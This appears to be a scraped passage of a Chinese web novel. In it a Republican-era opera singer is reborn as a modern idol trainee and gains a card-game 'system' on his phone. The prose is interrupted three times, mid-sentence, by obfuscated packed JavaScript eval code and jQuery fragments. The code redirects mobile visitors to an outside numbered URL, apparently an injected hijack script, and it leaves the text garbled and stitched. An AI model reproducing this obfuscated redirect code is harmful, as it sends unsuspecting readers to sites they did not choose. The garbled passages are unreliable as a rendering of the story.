《古穿男团学 !卡牌音游模拟器》
1. 无根之雪
杜雪裳,无父无母,一介无根之人。
打从记事起,他就在杜家班里头了。
班主说,是班子里唱武生的角儿在一个腊月天,从城隍庙后头的雪堆里把他扒拉出来的。冻得就剩一口气,身上裹着件破旧的戏服,像是哪个落魄班子遗下的。
因着这件衣裳他便有了名字——姓杜,名雪裳。
雪地里一件灰破戏裳捡回的命。
杜家班是杜雪裳的谋生之所,也是他的家。他和戏班子一起,走街串巷、卖艺长大。
学戏的苦是浸到骨头缝里的,晨起吊嗓,夜半练功,腰腿要软,身段要柔,一板一眼要错了,这戒尺和藤条可就毫不留情落下来了。
亏得他嗓音清润高低自如,是块唱旦角的好料,可玉不琢不成器,料子不凿不成形。
记有一段戏,他的手眼身法总调不好,班主气得将他摁在院里长凳上,避开骨头挑软处打,直打得他自觉五脏六腑都烂了个透,到第二天都爬不起身,还得咬着牙,求师兄弟搀自己去练早功。
疼极的时候他也想过——要是嗓子没这般好、不练这梨园功夫了,是不是能少挨些打?
可这念头也就是一闪而过。
戏台上那片刻的鲜妍,戏台下那几声热捧喝彩,像钩子一样勾着他,叫他忍下这许多苦。十七八岁时,竟当真叫他唱出了点名气,得了些戏迷追着给他捧场叫好。
可惜祸福不由人。
一位常来捧场的粮行东家,几次三番想邀他散戏后去府上“清唱两段”,此中真意不言自明。
杜雪裳面上谦和,骨子里却有种不肯折腰的顽拗,次次都寻由头给推了。
那东家正逢生意失利,心头火起,只觉得一个戏子也敢拂他的面子?当即放了狠话:有杜雪裳登台的戏班子,往后别想在这片地界沾足立脚!
班主吓得脸都白了,回头就指着他鼻子骂:“早知你是这么个惹祸的精怪,当初还不如真把你做个花瓶姑娘养起来,好歹能换几个现大洋,哪至于如今断了全班的活路!”
所谓“花瓶姑娘”,是一些下九流班子弄的噱头,把女孩儿身子藏在花瓶里,只露个头出来说书讲戏唱小曲儿,供人猎奇取乐。
班主这话,是气极,也是羞辱。
杜雪裳听着,眼里那点惯常的盈亮笑意都没了。
他也不过是个博人一乐的,心疼那些女孩子不过是装模作样、五十步笑一百步,可杜雪裳就是不舒服,听不得。
他对着班主深深一揖,声音平静:
“班主的养育之恩,雪裳莫不敢忘。我惹的祸事我自己扛,绝不拖累班子。”
当夜就收拾了那点微薄行李,去管事那儿算了这些年的“欠债”,立了字据,摁了手印。
一件衣裳来,就一件衣裳走。
从此他便真成了孤身一人,街边修鞋、商铺跑腿、学徒杂工无事不做,最后在一家小有规模的舞厅寻了个侍应生的活计安顿下来。挣的银钱大半都按月寄回了戏班,算是赎身,也算是报恩。
杜雪裳皮相好,身段挺拔板正,又温和爱笑不露苦脸,即便穿着侍应生的制服,也自带一段潇潇落拓的风致,不卑不亢地周旋在红男绿女之间,这模样气质倒引得舞厅里一位常客的留意。
贵客年纪虽轻,瞧着却颇有些身份,偶尔会请他喝杯酒,问几句闲话;赶着电影热投资了个小剧组,还推荐他去串过两回露脸的小角,说是“凑个份子,添点光彩”。
电影一放,也不知怎么还真显出他来,影业公司专门来人说要签他去做演员。
嘿!这倒是天无绝人之路!
杜雪裳偶尔望着舞厅里旋转的霓虹,或是摄影棚里刺眼的灯光——
或许这辈子的梦,也不定非要应在那四方戏台之上。
——————
舞厅后台的空气总是混杂着廉价头油、香烟和汗水的气味。
杜雪裳换下侍应生的制服,搭在臂弯,一推开休息室的门,就见经纪人昌哥捏着一份请柬,胖脸上堆着一种混合着兴奋与谨慎的复杂神色,挤到他跟前。
“雪裳,了不得了!”
昌哥压低了声音,将那张质地精良、暗纹浮凸的请柬塞进他手里:“宋家,宋三公子宋维恒,点名要请你一聚!”
杜雪裳微微一怔——
宋家,单拎这两个字出来只能是一个宋家——茶叶大王宋鼎郗!
宋当家声名赫赫,其夫人杜茹良出身名门,两家联姻,富埒王侯,与他这底层挣扎的小戏子小演员简直云泥之别,只是……
“宋三公子?”
杜雪裳眉头几不可察地蹙起,指尖摩挲着,从请柬冰凉的边缘抚到落款那株清淡的银桂,心下疑虑丛生,“请我?昌哥,什么说头?”
“也是怪道。”昌哥也凑过来盯那请柬,“之前听闻的少,我还特意托人又打听了一圈,这宋三公子风评那是真好,坊间众口一词的清流人物,正经的医科出身,行事低调,没听说有什么浪荡名头。这突然递来帖子,真是太阳打西边出来。”
事出反常必有妖。
杜雪裳心底那根警惕的弦绷紧了,他下意识就想拒绝,这等豪门宴饮吉凶实在难料。
但话未出口,另一个念头猛地窜上来——
等等。
……李导新戏里有个颇有分量的配角,他这段日子万般准备,正要奋力一搏。
那角色需要点旧式戏子的风骨,他虽有功底在身,可名导名作,论资排辈哪有他说话的份儿?
他缺一块更硬的敲门砖。
若能与宋家扯上一丝半缕的关系,哪怕只是捕风捉影的谈资,在那些制片导演眼中,分量或许就截然不同。
哪怕不是尊重,审视也罢、戏谑也好,能多入眼一分,他就多一分展现的可能。
风险与机遇,像天平两端在他心里摇晃。
很快,杜雪裳就眉眼舒展露出一个模范的笑。
他将请柬收入怀中,自得其乐抖平制服外衣挂到衣架上,语气已然恢复了往常的轻巧劲儿:“既然宋公子盛情,驳了面子反倒不美。昌哥,替我回话,杜某准时赴约。”
左不过一条命去,他倒要看看,这位名声清贵的宋三公子葫芦里到底卖的是什么药。
——————
不日,宋公馆内小客厅熏香袅袅。
杜夫人合起名帖,眼皮微抬,瞥了眼正在整理西装三件套的小儿子,语气不咸不淡:
“一个戏子,这般郑重其事,天天在家闹得臊眉耷眼的。想见就见,吃过饭,了了心事,回来收收心好好去你的医院,别老让我和你大哥惦记。”
宋维恒嘴唇动了动,似乎想解释什么,最终只是含糊地“嗯”了一声,将怀表仔细揣进马甲口袋,拿起帽子闷闷出了门。
另一头,约定的西餐馆正放着舒缓的爵士乐。
杜雪裳提早半个多钟就到了,先绕着周边仔细走了一圈,熟悉了路径和铺面,这才走进店里,选了个僻静又能览尽厅内情况的位子坐下。
店家先上了一杯茶水,他指尖无意识地轻叩杯壁,心下仍在反复推演稍后可能出现的种种情形。
两人是第一次见,那宋三公子也不拘束,没定在更高级的会所或私隐的包厢,倒方便了他时刻注意往来客人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282897|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
门口风铃轻响,一位身着剪裁合体西装的年轻男子急步走了进来。他装扮温文,气质却活泼,目光在厅内一扫,未有片刻迟疑就准确无误望向了杜雪裳的方向。
杜雪裳霎时会意,脸上已自然而然漾开恰到好处的笑意,即刻起身迎上前去,语气热络得仿佛见了久别重逢的故友:“宋先生?久仰,怎么得您相邀,今日竟有幸得见真颜。”
这招呼略显冒昧,但他赌的就是这份“一见如故”的亲近感。
不成想宋维恒的反应还远在他预期之上——
只见这位宋三公子眼睛一亮,竟快步上前,一把握住杜雪裳的手,用力摇了摇,语气是毫不作伪的欣喜热情:“杜先生!快别这么说,是我慕名已久才对!你的事我听说了些,舍了一身本事重新立业,敢拼敢闯,宋某心里佩服得紧,早想一见了!”
杜雪裳被他这扑面而来的诚挚弄得一怔,心下讶异:
这算什么,戏迷?影迷?还是他杜雪裳这个人的人迷?
原先一肚子审视防备,倒被这盆热火烤化了几分,笑容里也掺入些许真心:“不过是想办法挣口饭吃,如何当得了您如此盛赞。”
两人落座,餐点也陆续送上,宋维恒果然不拘那些“食不言”的规矩,吃着吃着,便像是打开了话匣子,将心里话倒豆子似的吐露出来。
从畏避血迹、厌烦消毒水的气味,到自小对摄影对镜头的兴趣,再到那个扛着相机走遍河山、记录风物人情天下众美的梦想,他说得眼睛发亮,浑然忘了对面坐着的是个初次见面的“戏子”。
这才是真的交浅言深,杜雪裳却不以为意。
他静静听着,不褒不贬,认真看着对方慷慨的、赧然的、激昂的、失落的一切,偶尔颔首。在那些话语里,慢慢勾勒出一个向往自由的灵魂轮廓。
为示亲近,宋维恒甚至笑着打趣:“说来也巧,家母也姓杜,五百年前,你我或许还同是一家人呢!”
这小宋先生高兴起来真什么浑话都敢说啊!
杜雪裳闻言失笑,赶紧摇头道:“三公子是想折煞我了!令堂金枝玉叶、名门之后,我怎么敢如此懈怠攀附。这话要让令堂知道,我都不知道该仔细我的皮,还是提醒公子紧早仔细自己的皮了。”语气调侃地描补了界限。
宋维恒先是一愣,随即爽声大笑,丝毫不以为忤。
一顿饭在出乎意料的融洽氛围中结束。两人并肩走出餐馆,才发现外面不知何时飘起了细雪,晶莹的雪粒稀疏落下,氤氲着清冷的潮气。
“下雪了,”宋维恒兴致仍高,指了指停在不远处的黑色汽车,“你回哪儿?走啊,我送你一段!”
杜雪裳只婉拒道:“不远,两步的路,我正好走走醒醒神。”
“也好,我同你一道赏赏景。”
宋维恒也不坚持,将手插在大衣口袋里,与他一同沿着铺了薄薄一层银白的街道缓步而行。
雪落无声,两人一时也无闲话,却并不尴尬,反是有种君子之交淡如水的悠闲自在。
杜雪裳早将那些关于宋家的计算抛诸脑后,只觉得能结识这样一位真性情的趣友,已是意外之喜。
“听昌先生说,若诸事顺利,下一步你该随李导的剧组去北平拍外景了?”
宋维恒忽然停下脚步,转向他,神色极为认真,“雪中的北平,气象万千,这样好的本子才正配你。”
他顿了顿,望着杜雪裳的眼睛,郑重其事地伸出手:
“祝你得偿所愿。”
杜雪裳看着他眼中毫无杂质的真诚祝福,心头微暖,也伸出手与他紧紧一握——
“承你吉言。”
2. 时空奇技
雪粒细细簌簌,渐下渐密,在路灯昏黄的光晕里纷乱地打着闪旋舞。
二人顶着雪风,沿着湿滑的街道小心前行,眼看就要转过街口,踏入通往舞厅后巷那片悄然的阴影。
骤然间,前方街角爆起一声尖锐唿哨,紧接着是“砰”一声枪响,厉然撕裂雪夜的宁静!
“操刀子青皮!敢劫老子的货!”
“放屁!分明是你们越界在先!”
怒骂声、惨叫声、更多的枪声如同沸水般瞬间炸开,人影在昏暗的街道上横闪冲撞,不停有人扑跌倒下。子弹“嗖”地击碎不远处店面的玻璃窗,哗啦一声脆响。
“小心!”杜雪裳瞳孔一缩,电光石火间,他几乎是本能地做出了判断——宋维恒的命可比他的命金贵!
一个懂医术的赤诚之人,不管是现下还是将来都比自己一个戏子有用得多,他绝不该折在这种腌臜地界!
念头未落,他已猛地侧身,唱戏时练就的腰劲带着他整个人合身扑向尚且愣怔的宋维恒,将他狠狠撞向街角一个厚重的铸铁信箱后面!
“呃!”两人重重跌倒在地。
杜雪裳只觉身下被什么硌得一痛,眼前是宋维恒惊愕放大的脸孔和漫天乱舞的雪沫。
然而预想中撞击地面的钝痛并未完全传来。
在他护着宋维恒滚倒在地的瞬间,眼角余光瞥见地砖上雪色映出的混乱光影似乎扭曲了一下,仿佛不是雪光,而是……
一片纯粹到极致、不可逼视的白光毫无征兆地在他眼前炸开!
那光芒强烈到仿如实质,瞬间吞噬了所有声音、所有景象、所有感知,包括他正护着的宋维恒,包括冰冷的雪、血腥的械斗、混乱的街道……一切都在刹那间被彻底湮没。
他的意识像被抛入了一条无声无光的急速隧道,最后残存的念头竟是荒谬地想起了班主那句气话——
“……早知道宁把你做个花瓶姑娘养……”
……花瓶……花瓶。
宁为玉碎。
——————
肩颈……脖子……头痛欲裂!
杜雪裳猛地从冰冷的电脑桌前抬起头,上身的肌肉和关节顿时发出不堪重负的痛鸣,额角尚还烙着小臂印出的红痕。
屏幕幽幽亮着,正暂停在一个刀群舞的齐舞瞬间,耳机里还流淌着粉丝山呼海啸般呐喊的余韵。
太阳穴闷闷贲痛着。他好像……做了一个很长、很长的梦。
梦里有戏班子、戏台子,有置景、有镜头,有歌舞升平——梦的最后是雪夜里冰冷的枪声和灼热的血,还有一个被他猛地撞倒的人影……混乱,破碎,光怪陆离,灵魂如同在时间的缝隙里被狠狠撕扯一遍,最后坠入一片混沌。
然后呢?
像是……投生到了全然陌生的后世?
他忘了前尘,这一世还是个没福气的,早早没了父母,在街坊邻居和社区的看顾下长大,他还是想被人看到,喜欢掌声和赞美。
他的学校是直升制,各种部社里,校舞蹈队名气尤其响亮。他懵懵懂懂报了名,凭着点说不清道不明的身体记忆和一股狠劲,硬是在练习室蒸腾得像雾一样的汗与泪里苦熬,成了校队的拔尖苗子,得了一些风光,在校园里享受了一点追捧名气。
这一年校舞队在州际联赛制霸,又正逢州庆,整支队伍应邀作为开幕嘉宾登台表演。他跳得卖力,台下反应也热烈,掌声、欢呼,他疲累但仍然满意幸福。
等他们下台,轮到后续几组职业团体登场——他后来才知道那叫爱豆,叫偶像——
……你有没有见过从无到有、由暗至明,短短一瞬无数应援棒的荧光陡然亮起?如同天河倒置、星辉溢泻,向四面奔腾涌去,连成天地一色好像没有边际似的幻梦般的滔滔星海。
一两万?三五万?还是更多?
现场到底有多少颗心在同时汩汩灼烧,才迸发出这样的群星闪耀!
那是他第一次听到上万人的尖叫,那是他第一次看到台上台下一样含泪的、付之一炬倾尽所有的眼睛;这样恢弘的星海,即使是他做戏子时最大胆最幸福最渺远的梦,也绝不曾奢想过其毫厘。
心脏在胸腔里擂鼓般狂跳。
爱豆,爱豆!
回去后他几乎不眠不休,搜遍了所有能查到的公开资料,那一面世界他以前从未留意,精彩得却远超他的想象。正巧这时,校队老师的短信来了,说业内大名鼎鼎的造星工厂——Storm Energy公司有职员就在州庆现场,想邀请他去参加选拔面试!
他毫不犹豫抓住了这根从天而降的橄榄枝。
面试顺利得超乎想象,很快,录用通知的短信就来了,让他备好行李做好集宿准备,于指定日期到公司总部签练习生合同。
杜雪裳揉了揉发胀的太阳穴,看向电脑屏幕右下角的日期——
就是今天。
他所有洗漱用品和换洗衣服加起来也只塞满了一个简单的旅行提包,因为太期待,他提前一天就买票来到了StE总部大楼所在的延州,在公司附近找了个最便宜的网吧过夜,一遍遍看那些名爱豆的舞台、练习室、采访、节目……直到不知何时睡着。
——直到属于“戏子杜雪裳”的所有记忆,如同潮水般汹涌回归,将他彻底拍醒。
脑海中后世十几年的记忆详尽得可怕,周遭网吧的嘈杂、机器运转的嗡鸣、泡面残留的气味,以及大门之外延州街头的车水马龙,一切都真实得不容置疑。
这不像幻境或梦境。
杜雪裳迅速冷静下来,整理思绪。
现下这情形,想立刻寻到回转之法怕是痴人说梦,线索和转机都需要时间来摸索探查。
既来之,则安之,更何况……那日州庆现场,万人喧嚣与无边星海带来的震撼依旧灼烫着这颗心脏。
不管这是神迹伟力还是鬼蜮伎俩,哪怕只是一场盛大荒唐的黄粱迷梦,他也非要亲眼见识一下这后世的极致精彩不可。
时间差不多了。
杜雪裳瞥了眼脚边的行李包,准备关机走人。手指摸到鼠标,那又陌生又熟悉的纤细触感让他不由微笑,他自然地移动光标,精准滑向菜单栏。
突然——
“Love~Ctupid!”
一声元气满满、清脆响亮的少年音效毫无预兆地在他耳边唱响,紧随其后的是一段极其欢快、鼓点强劲又带着俏皮跳跃感的电子旋律!
杜雪裳下意识看向身旁:附近有人在玩音游吗?
他之前恶补爱豆知识时有顺带了解到过,这样口号式的呐喊和标志性的音乐风格太明显了。
“……终于……到……好久……等待……”
不知从哪里传来断断续续、忽远忽近的模糊人声,夹杂在音乐背景里听不真切
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282898|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“什……知……快……!”最后几个字甚至急促起来。
他四下打量无果,正觉古怪,鼠标光标却不知误触到了哪里,面前的电脑屏幕猛地一闪!原本的系统界面瞬间被一个花团锦簇的绚烂窗口覆盖——
页面背景是一个空荡荡的、疑似练习室的所在,无数金粉色的花朵和星星喷涌而出,组成炫目华丽的特效点缀其间。
“LoveCtupid!~卡牌天团音游模拟器~”一行灿金的字体飞冲到屏幕顶端定格。
【正在检测……】
【环境自适应中……】
【波动锁定——】
【匹配成功!】
空、空——模拟的心跳声沉重响起,与他的脉搏重合振鸣。随着呼吸,一行行文本次第亮起:
“想成为万众瞩目、独一无二的那颗星吗?”
“想成为舞台上最闪耀的焦点吗?”
“天分、努力、才能、汗水,”
“还有一点突破极限、事半功倍的运气——”
“从练习生启程,现在开始你的爱豆生涯吧!”
最终的花字在屏幕正中如烟花般绚烂展开,最下方,一排不断闪烁星光的小字跃动着
——“Touch Here!”
整个界面时刻不停地有花瓣、碎星和各种形状的彩色纸片翻飞飘落,在屏幕下端疑似练习室的地板上累积起来,视觉效果华丽梦幻到堪称浮夸。
不对劲。
杜雪裳眼神一凝,出于谨慎,他根本不去点那按钮,直接伸手去按机箱的强制关机键——
屏幕应声黑下。
然而——那该死的花朵和闪光特效竟然没有消失!反而当着他的面一扭一扭挣脱了屏幕的束缚,如同一套精美的全息立体投影,晃晃悠悠地凭空闯进现实,悬浮在他面前的空气中!无论他将视线转向哪个方向,这玩意儿都死死追着他视野的落点移动,甩都甩不掉。
虚拟的花瓣和彩纸条飘到他手臂上,却如同幻影般一穿而过,无声无息地“落”在网吧的地上。
这一世的记忆里可根本没有这样突破真实的造物,倒是在那些小说和漫画里有类似的影子……系统?
穿越转生第一天,不仅白捡了十几年记忆,获得后世的知识、重启的机会和新鲜的人生,还附赠一个传说中的……金手指?
杜雪裳拇指向旁边的指节掐去——痛感真切。
好奇怪啊。他心下念头飞转,面上却忽然绽开微笑。
——倒让我看看,你是什么成色呢。
他像是完全没看见那晃眼的花与光一般,径直拎起脚边的行李包,转身就朝网吧外走。
正在这时,握在手中的老旧手机突然震动起来——是之前他怕自己过于沉迷视频误了时间特意设的闹钟,默认的系统铃声叮当响起。
就在手机屏幕亮起的一刹那!
那个一直追着他视野的可疑模拟器系统像是终于找到了突破口,瞬间化作一道由无数花瓣和星点组成的彩色旋风,“嗖”地一下,如同钻头般猛地扎进了那小小的手机屏幕里!
特效严丝合缝地嵌入屏幕边框,甚至没给他任何二次确认的反应时间,显示画面猛地一变,自顾自地开始播放起新的过场动画——
【~欢迎您来到希望与梦想的StE学园,命运与复兴的文化官啊!~】
3. 特定企划
不请自来的花瓣和彩带尚未完全消散,缤纷气球和各式条幅装点的校园场景便一幅幅地迅速闪过——
超大型的操场和综合运动馆,各种功能的教室、设备室、活动室,专业级的工坊大棚,还有礼堂、花园、人工湖与绿化内景……完全能看出这个所谓StE学园的豪华美丽。
一个穿着笔挺燕尾服、戴白手套的立体小人立绘冒了出来:
“您就是新上任的文化官吧!真是出色的气质,理事长等待多时了,请随我来。”
画面一转,来到一间宽敞奢华的办公室,一位西装革履、留着两撇翘胡子、鼻头硕大的老先生影像出现,声音洪亮道:
“欢迎来到StE学园,我们可是这颗星球最优秀的偶像育成学园!”
……嗯?杜雪裳眉梢几不可察地动了一下。
“……惭愧啊,近年来,大家的口味变化太快太难捉摸,我们倾注心血、精心培养的孩子在各种评比中屡屡受挫,不得不承认,学园的声望正一点一点向着大家都不愿看到的方向下滑……作为老牌学园,我们给大家看的可不能只是这点能耐。”
“幸好,我们找到了独家秘密武器,”画面中的老先生突然手臂一伸直指屏幕外,低喝道: “——也就是你!”
“学园将向你开放一切需要的权限,由你来组建一支特殊的‘曲艺小队’,撞破现下学园内部偶像体系的窠臼,为我们学园赢得‘学园艺术祭’的冠军,获取应有的资源和支持。”
“一荣俱荣,一损俱损。”老先生收起激动的表情,沉甸甸的目光透过屏幕凝视着操作者,
“我们最后的希望,正统偶像重振辉煌唯一的救世主——全靠你了。”
一阵过于耀眼的圣洁白光闪过,画面重新变回了登入前那个初始的空荡练习室。
无尽的花瓣和彩纸寂静地飘落,一个气泡“啵”一声弹出来:
[得理事长的接待与厚爱,我完全明白了我的使命!现在,先去行政部门做好身份登记,迎接我的检验吧。]
【主线任务:请于指定时间前往StE总部完成登记(0/1)】
杜雪裳看向任务栏下方清晰的倒计时——这不就是他预定中要去StE公司签署练习生合同的时间?
这个待机页面像是焊死在了屏幕上,无论他怎么戳点划动,都无法退出或关闭,只会反复弹出——
【快出发吧,只有完成登记才能解锁更多文化官权限呢!(^▽^)】
——这样的提示气泡。
他尝试使劲摇晃甩动手机,屏幕才猛地一闪,变回了熟悉的手机主屏幕。
然而只要停止操作,不多时,系统那华丽醒目的界面就会再次顽固地包裹一切,如同一块无法摆脱的幻影。
已经靠在网吧墙角耽误了不少时间,杜雪裳眼神微凝,当机立断。
他走到网吧前台,脸上挂起恰到好处的、带着些许窘迫和歉意的微笑,将手机屏幕展示给后面正打瞌睡的工作人员:
“不好意思,打扰您一下……我的手机不知道出了什么问题,突然变成这样了,您见过类似的情况吗?……因为我也是刚到这里的第一天,人生地不熟的,遇到这样的情况实在是……打扰您了。”
前台小哥被吵醒,不耐烦地抬起眼,听他一通说完脸色倒好起来,热心肠地凑过来:
“怎么了?是黑屏开不了机吗?确定不是没电啊……”
他尝试按了电源键和音量键:“这种情况也不知道哪个零件出了问题,我也不敢给你随便乱碰乱保证,旁边就是个维修店,你要不等等拿过去看看?老李是个热心的,价格也不贵,一般机型都能修,你跟他说你的情况,先修后付估计没啥问题!”
杜雪裳脸上笑意更真诚了,微微颔首道:“真是太感谢您了,麻烦您了。怪不得出门前大家都和我说延州人热情,在这边不怕遇见事。我这就去看看!”
他握着手机,拎起行李包大步走出网吧。在门口又特意回头,对着前台的方向再次欠身鞠躬。
一转身,杜雪裳表情转淡,脚步不停,方向明确朝向自己的目标——
远远就能看到StE那醒目的红色屋顶和巨大Logo。
他收回目光,瞥了一眼手机屏幕。
花瓣还在不急不忙地缓缓吹动。
……黑屏吗?
看来这个所谓的“系统”,其他人是看不到的。
具体能伪装到什么程度、能覆盖哪些情况还得再试探,可现在他得先行动起来了。他可不想第一天就给公司众人留下懈怠迟到的不良印象。
走一步看一步,见招拆招吧。
——————
清晨的空气还带着一丝凉意,杜雪裳站在StE那栋标志性的红顶大楼前,深吸了一口气。
他应该是这批练习生里最早到的那个……吧?
令人动摇的是,尽管时间尚早,天际才刚刚放亮,大楼内外已是一片灯火通明人流往来的景象。
穿着各式工牌的工作人员步履匆匆,对讲机里的指令声、不知哪里传来的服装架滚轮的推动声、以及切切嘈嘈的对话声交织在一起,仿佛一台精密机器早早开始运转。
更引人注意的是大楼外,几名戴着口罩、架着长焦相机的人零星散布,目光敏锐地扫视着每一个进出的人。
这阵仗让杜雪裳心里咯噔一下,不由怀疑自己是否算错了时间,来得仍算怠慢。他快步走向入口,向值班的保安组表明来意:“您好,我是来报道的新练习生,杜雪裳。”
几名保安对视一眼,其中一位翻了翻名册,笑着对同伴说:“哟,还真有这么早就到的”,随即对他点点头,“进去吧,新人开发部在一楼右手边走廊到底,门口有牌子。别紧张,时间还早着呢。”
杜雪裳心下稍安,道谢后按照指引走去。
敲过门打了招呼,一位戴着帽子和框架眼镜、一脸疲色的助理姐姐举手接待了他。
把他引入一间小巧整洁的会议室后,对方递来一沓文件和一支笔:“这几份内容是一样的,都是这期的练习生培训协议,你先看看,有什么不清楚的随时问我。”
虽说练习生基本都是统一拟定的模板合同,肯定也没什么改动回转的空间,杜雪裳还是接过来,很认真地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282899|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一句一句仔细过了一遍,重点关注了时限、违约责任、以及培训期间双方权利义务的部分。
确认无误后,他才拿起笔,郑重签下了这份……为期一个月的短期合同。
“情况之前就清楚吧?关于期限和这次选拔的目的、形式这些。”助理姐姐握着手里的印泥,再次向他确认道。
“嗯,都清楚的。”杜雪裳点头。
“我再跟你重新交代一下,防止有疏漏。”
助理姐姐语速平稳,显然这番话已说过多次:“是这样,这次选拔呢,不同于我们公司每周都在进行的日常海选,是我们新人组配合一个已经非常成熟的特定出道企划进行的优中选优。”
“——‘特定’是什么意思呢?就是说,这个团具体的概念、人数、甚至首支单曲、出道曲和大致的出道日期,公司都已经规划好了,该走的报批已经初具规模了,只是在最关键的、组合成员上面,我们觉得现有的练习生储备仍然不能很好地满足这个企划的需要,所以才有了这次暑期紧急征召,从我们内部提一批好苗子出来,再从外面挑一批精英引入,进行为期一个月的集中考核与记录。”
“当然,企划实际的方向、内容这些都是保密信息还不能告诉你们,但是——”
她话锋一转,鼓励地看着杜雪裳,“既然开发组的老师极力推荐了你,就说明你非常优秀,你身上一定有脱颖而出闪着光的、符合我们期待的特质。”
“这一个月会非常辛苦,训练考核的强度很大,希望你能做好心理准备。如果最后成功通过,就进入预出道组,我们再来谈更深入的下一步怎么走;
“如果因为一些综合考量没能通过,也只是和现有这份企划的契合度问题,说明不了什么,只要你足够优秀,我们非常欢迎你留下签订正式的长期练习生合同。”
“当然,选择是双向的,这也是一个你了解我们的过程,如果一个月下来你觉得练习生、出道这些可能和你一开始设想的不太一样,你对于把它作为一项事业来突破发展没有那么多的兴趣或者自信的话,
“——因为这份合同也只是一个月的短期合同,你体验过了,知道情况了,重新回到学校的生活也是随时来得及不耽误的。好吗?”
杜雪裳目光飞快地掠过房间角落的监控摄像头,脸上绽开恰到好处的、带着点受宠若惊和坚定意味的微笑:“之前联系我的老师也是这么介绍的,我都明白。谢谢姐姐,辛苦了。”
助理姐姐满意地笑了:“不辛苦,应该的。来,这里、还有这里,按个手印。”
手续完毕,她将一份合同副本交给杜雪裳:“来,这份你自己收好。你先坐这儿休息一下,我去交接,很快就会回来。”
她拿着其余文件匆匆走出会议室,临出门又折返回来,指了指外面,“门口有饮水机,渴了自己倒水喝啊!”
“好的,谢谢姐姐。”
杜雪裳目送会议室的门轻轻合上,趁此机会立刻看向手机——
【主线任务:请于指定时间前往StE总部完成登记(1/1)→确认完成】
他指尖微顿,轻轻点向确认。
4. 初探对答
伴随着一阵清脆欢快的胜利音效,屏幕上瞬间炸开绚烂的电子礼花。
【登记完成!恭喜您正式成为StE学园一名备受敬爱的文化官!】
华丽的对话框内,新的提示文字流畅显现:
【想要组建优秀的队伍,没有成员怎么行?】
【身为文化官,您的首要任务是了解并组建您自己的团队。】
【您可以跟随指引,查看当前已关联的成员信息,期待您打造出闪耀的组合!】
手机屏幕上,那间初始练习室上方悄然探出一排精致可爱的导航按钮,标注着[故事][成员][活动][事件][收藏]的字样。
此刻,其他几个图标都被锁链图案紧紧缠绕,呈现不可点击的灰色。唯有【成员】那一栏散发着柔和的微光,旁边还有一个不断跳动、闪烁着星芒的小箭头,锲而不舍地催促着他。
杜雪裳没有立刻动作。
他抬眼望向会议室门口,确认无人进来,手指才悬在那诱人的按钮上方,轻轻一落。
【侦测到灵魂绑定!恭喜您解锁首位核心成员:〈杜雪裳〉!】
【初始伙伴已就位!获得专属卡牌:〈杜雪裳 - SR·[不眠的祈愿] -〉!】
杜雪裳:“……?”
一股难以言喻的微妙感涌上心头。
他不是“文化官”吗?怎么转眼就成了自己手下系统内设的“成员”?
带着几分无语,他仔细看向那张自动弹出的卡牌。
卡面并非舞台上的光鲜亮丽,更像一张无意间抓拍的生活照,画面中的他正走出车站,低着头,戴着兜帽和耳机,只露出线条紧绷的下颌和下颌线拐点一颗点缀其上的深深小痣。一只手拎着旅行包,另一只手握着一瓶喝到一半的矿泉水,整个人风尘仆仆的,看起来就很命苦的样子。
……但实话实说,还挺好看。
尽管背景里车站大厅灯光雪亮,但他所处的门口这片反而映出暗淡的清冷,整张照片非明非夜色调微冷,将他身上托出一种反常的、叛离的、却又格外吸引人的青春气。
#氛围感# #小镇叙事# #破碎感# #远方的诗#
他又戳了一下卡面。
唰啦——一圈精致繁复的鎏金穗状边框瞬间勾勒出卡牌轮廓,顶端“砰”地盖下一个醒目的、泛着粉色荧光的“SR”评级戳印,仿佛还带着虚拟星屑的余韵。
卡牌旋转着缩小,精准归入【成员】界面下唯一亮起的名字——【杜雪裳】——旁边的卡槽格子里。
……等等,卡牌背面似乎有极细的荧光字迹一闪而过?
不待他进一步细看,会议室门口传来一阵由远及近、规律的脚步声。
“杜雪裳?走吧。”
刚才那位助理姐姐探进头来,干脆道,“时间还早,我先单独带你认认路熟悉一下环境,然后送你去宿舍安顿下来。”
杜雪裳立刻摁熄手机屏幕,站起身,脸上扬起带着些许雀跃的温和笑容:“好的!麻烦姐姐了。”
助理利落地带着他在几个重点楼层穿行,给他录了指纹和人脸识别的门禁权限,认了认未来一个月他们这支临时队伍会用到的几间练习室,以及公司内部对他们开放的食堂就餐区。
